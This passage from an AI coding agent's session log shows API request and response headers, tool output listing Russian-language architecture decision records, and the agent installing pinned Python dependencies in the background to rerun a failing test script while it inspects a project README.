[`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\",\n[2026-09-29T07:59:39.814Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:59:39.814Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:59:39.814Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:59:39.814Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:59:39.814Z] [INFO]   }\n[2026-09-29T07:59:39.814Z] [INFO] }\n[2026-09-29T07:59:39.869Z] [STDOUT] [log_86e89a] sending request {\n[2026-09-29T07:59:39.876Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:59:39.884Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:39.889Z] [STDOUT]   options: {\n[2026-09-29T07:59:39.899Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:59:39.901Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:59:39.908Z] [STDOUT]     body: {\n[2026-09-29T07:59:39.916Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:59:39.920Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:59:39.929Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:59:39.933Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:59:39.938Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:59:39.943Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:59:39.948Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:59:39.956Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:59:39.958Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:59:39.966Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:59:39.971Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:59:39.975Z] [STDOUT]       stream: true,\n[2026-09-29T07:59:39.983Z] [STDOUT]     },\n[2026-09-29T07:59:39.988Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:59:39.993Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:59:39.999Z] [STDOUT]       aborted: false,\n[2026-09-29T07:59:40.003Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:59:40.006Z] [STDOUT]       onabort: null,\n[2026-09-29T07:59:40.009Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:59:40.022Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:59:40.030Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:59:40.034Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:59:40.043Z] [STDOUT]     },\n[2026-09-29T07:59:40.047Z] [STDOUT]     stream: true,\n[2026-09-29T07:59:40.051Z] [STDOUT]   },\n[2026-09-29T07:59:40.058Z] [STDOUT]   headers: {\n[2026-09-29T07:59:40.069Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:59:40.074Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:59:40.083Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:59:40.091Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:59:40.095Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:59:40.099Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:59:40.104Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:59:40.106Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:59:40.110Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:59:40.116Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1839\",\n[2026-09-29T07:59:40.122Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:59:40.126Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:59:40.131Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:40.136Z] [STDOUT]     \"x-client-request-id\": \"92655016-3c50-4074-a155-681a0fc606f4\",\n[2026-09-29T07:59:40.138Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:59:40.141Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:59:40.148Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:59:40.150Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:59:40.154Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:59:40.157Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:59:40.159Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:59:40.165Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:59:40.167Z] [STDOUT]   },\n[2026-09-29T07:59:40.170Z] [STDOUT] }\n[2026-09-29T07:59:40.735Z] [STDOUT] [log_86e89a, request-id: \"req_011CfXNqnmqQdstf66hgPALo\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 881ms\n[2026-09-29T07:59:40.742Z] [STDOUT] [log_86e89a] response start {\n[2026-09-29T07:59:40.749Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:40.752Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:40.757Z] [STDOUT]   headers: {\n[2026-09-29T07:59:40.759Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:40.765Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:40.768Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:40.774Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:40.777Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:40.781Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:40.783Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:40.788Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:40.791Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:40.793Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:40.797Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:40.800Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:40.802Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:40.806Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:40.809Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:40.811Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:40.813Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:40.816Z] [STDOUT]     \"cf-ray\": \"a42973222c8f5d90-FRA\",\n[2026-09-29T07:59:40.821Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:59:40.823Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:40.826Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:40.828Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:40.831Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:59:40 GMT\",\n[2026-09-29T07:59:40.834Z] [STDOUT]     \"request-id\": \"req_011CfXNqnmqQdstf66hgPALo\",\n[2026-09-29T07:59:40.838Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:59:40.840Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:40.845Z] [STDOUT]     traceresponse: \"00-9d00414f1bc2be2137a2bcb6d5044b19-70fd6c9d10687f32-01\",\n[2026-09-29T07:59:40.848Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:40.850Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:59:40.854Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:40.858Z] [STDOUT]   },\n[2026-09-29T07:59:40.861Z] [STDOUT]   durationMs: 881,\n[2026-09-29T07:59:40.867Z] [STDOUT] }\n[2026-09-29T07:59:40.869Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:59:40.871Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:59:40 GMT\",\n[2026-09-29T07:59:40.874Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:40.878Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:40.880Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:59:40.882Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:40.888Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:40.890Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:40.894Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:59:40.900Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:40.908Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:40.913Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:40.921Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:40.927Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:40.934Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:40.942Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:40.946Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:40.952Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:40.959Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:40.962Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:40.968Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:40.971Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:40.976Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:40.979Z] [STDOUT]   \"request-id\": \"req_011CfXNqnmqQdstf66hgPALo\",\n[2026-09-29T07:59:40.982Z] [STDOUT]   \"traceresponse\": \"00-9d00414f1bc2be2137a2bcb6d5044b19-70fd6c9d10687f32-01\",\n[2026-09-29T07:59:40.986Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:40.989Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:40.992Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:59:40.994Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:41.000Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:41.002Z] [STDOUT]   \"cf-ray\": \"a42973222c8f5d90-FRA\",\n[2026-09-29T07:59:41.004Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:59:41.006Z] [STDOUT] [log_86e89a] response parsed {\n[2026-09-29T07:59:41.009Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:41.012Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:41.014Z] [STDOUT]   body: X {\n[2026-09-29T07:59:41.016Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:59:41.019Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:59:41.022Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:59:41.024Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:59:41.028Z] [STDOUT]     },\n[2026-09-29T07:59:41.031Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:59:41.034Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:59:41.038Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:59:41.041Z] [STDOUT]   },\n[2026-09-29T07:59:41.043Z] [STDOUT]   durationMs: 882,\n[2026-09-29T07:59:41.048Z] [STDOUT] }\n[2026-09-29T07:59:41.275Z] [INFO] {\n[2026-09-29T07:59:41.275Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:41.275Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:41.275Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:59:41.275Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:41.275Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:41.275Z] [INFO]   \"uuid\": \"11bfe8cb-296b-4f79-968c-da6e9f8c7573\"\n[2026-09-29T07:59:41.275Z] [INFO] }\n[2026-09-29T07:59:43.132Z] [INFO] {\n[2026-09-29T07:59:43.132Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:43.132Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:43.132Z] [INFO]   \"estimated_tokens\": 270,\n[2026-09-29T07:59:43.132Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:43.132Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:43.132Z] [INFO]   \"uuid\": \"be988326-b80d-4f95-b104-f47fe5b766e3\"\n[2026-09-29T07:59:43.132Z] [INFO] }\n[2026-09-29T07:59:43.170Z] [INFO] {\n[2026-09-29T07:59:43.170Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:43.170Z] [INFO]   \"message\": {\n[2026-09-29T07:59:43.170Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:43.170Z] [INFO]     \"id\": \"msg_011CfXNqoKpnGFnJR9HkeWnd\",\n[2026-09-29T07:59:43.170Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:43.170Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:43.170Z] [INFO]     \"content\": [\n[2026-09-29T07:59:43.170Z] [INFO]       {\n[2026-09-29T07:59:43.170Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:59:43.170Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:59:43.170Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:59:43.170Z] [INFO]     ],\n[2026-09-29T07:59:43.170Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:43.170Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:43.170Z] [INFO]       \"cache_creation_input_tokens\": 2346,\n[2026-09-29T07:59:43.170Z] [INFO]       \"cache_read_input_tokens\": 64452,\n[2026-09-29T07:59:43.170Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:43.170Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:43.170Z] [INFO]         \"ephemeral_1h_input_tokens\": 2346\n[2026-09-29T07:59:43.170Z] [INFO]       },\n[2026-09-29T07:59:43.170Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:59:43.170Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:43.170Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:43.170Z] [INFO]     },\n[2026-09-29T07:59:43.170Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:43.170Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:43.170Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:43.170Z] [INFO]   },\n[2026-09-29T07:59:43.170Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:43.170Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:43.170Z] [INFO]   \"uuid\": \"10134cae-9f04-4869-89d7-e61ed733153f\",\n[2026-09-29T07:59:43.170Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:43.128Z\",\n[2026-09-29T07:59:43.170Z] [INFO]   \"request_id\": \"req_011CfXNqnmqQdstf66hgPALo\"\n[2026-09-29T07:59:43.170Z] [INFO] }\n[2026-09-29T07:59:43.184Z] [INFO] {\n[2026-09-29T07:59:43.184Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:43.184Z] [INFO]   \"message\": {\n[2026-09-29T07:59:43.184Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:43.184Z] [INFO]     \"id\": \"msg_011CfXNqoKpnGFnJR9HkeWnd\",\n[2026-09-29T07:59:43.184Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:43.184Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:43.184Z] [INFO]     \"content\": [\n[2026-09-29T07:59:43.184Z] [INFO]       {\n[2026-09-29T07:59:43.184Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:59:43.184Z] [INFO]         \"text\": \"`test-execution-package.sh` fails only because pinned pip dependencies aren't installed in this sandbox. It doesn't touch docs; I'll confirm by installing them. Meanwhile I'll add a README section.\"\n[2026-09-29T07:59:43.184Z] [INFO]       }\n[2026-09-29T07:59:43.184Z] [INFO]     ],\n[2026-09-29T07:59:43.184Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:43.184Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:43.184Z] [INFO]       \"cache_creation_input_tokens\": 2346,\n[2026-09-29T07:59:43.184Z] [INFO]       \"cache_read_input_tokens\": 64452,\n[2026-09-29T07:59:43.184Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:43.184Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:43.184Z] [INFO]         \"ephemeral_1h_input_tokens\": 2346\n[2026-09-29T07:59:43.184Z] [INFO]       },\n[2026-09-29T07:59:43.184Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:59:43.184Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:43.184Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:43.184Z] [INFO]     },\n[2026-09-29T07:59:43.184Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:43.184Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:43.184Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:43.184Z] [INFO]   },\n[2026-09-29T07:59:43.184Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:43.184Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:43.184Z] [INFO]   \"uuid\": \"0def3f8d-69f1-4790-9934-0b3c7536ad69\",\n[2026-09-29T07:59:43.184Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:43.173Z\",\n[2026-09-29T07:59:43.184Z] [INFO]   \"request_id\": \"req_011CfXNqnmqQdstf66hgPALo\"\n[2026-09-29T07:59:43.184Z] [INFO] }\n[2026-09-29T07:59:44.671Z] [INFO] {\n[2026-09-29T07:59:44.671Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:44.671Z] [INFO]   \"message\": {\n[2026-09-29T07:59:44.671Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:44.671Z] [INFO]     \"id\": \"msg_011CfXNqoKpnGFnJR9HkeWnd\",\n[2026-09-29T07:59:44.671Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:44.671Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:44.671Z] [INFO]     \"content\": [\n[2026-09-29T07:59:44.671Z] [INFO]       {\n[2026-09-29T07:59:44.671Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:59:44.671Z] [INFO]         \"id\": \"toolu_01NjeQdBtZBBmdxTkrgk8qVP\",\n[2026-09-29T07:59:44.671Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:59:44.671Z] [INFO]         \"input\": {\n[2026-09-29T07:59:44.671Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; (pip install -q -r requirements.txt >/tmp/pip.log 2>&1; bash tools/test-execution-package.sh >/tmp/tep.log 2>&1; echo \\\"exit $?\\\" >>/tmp/tep.log) & \\nsed -n 43,116p projects/ba-ai-process/README.md | grep -n 'docs\\\\|analysis\\\\|presentation'\",\n[2026-09-29T07:59:44.671Z] [INFO]           \"description\": \"Install deps in background, check README structure\"\n[2026-09-29T07:59:44.671Z] [INFO]         },\n[2026-09-29T07:59:44.671Z] [INFO]         \"caller\": {\n[2026-09-29T07:59:44.671Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:59:44.671Z] [INFO]         }\n[2026-09-29T07:59:44.671Z] [INFO]       }\n[2026-09-29T07:59:44.671Z] [INFO]     ],\n[2026-09-29T07:59:44.671Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:44.671Z] [INFO]     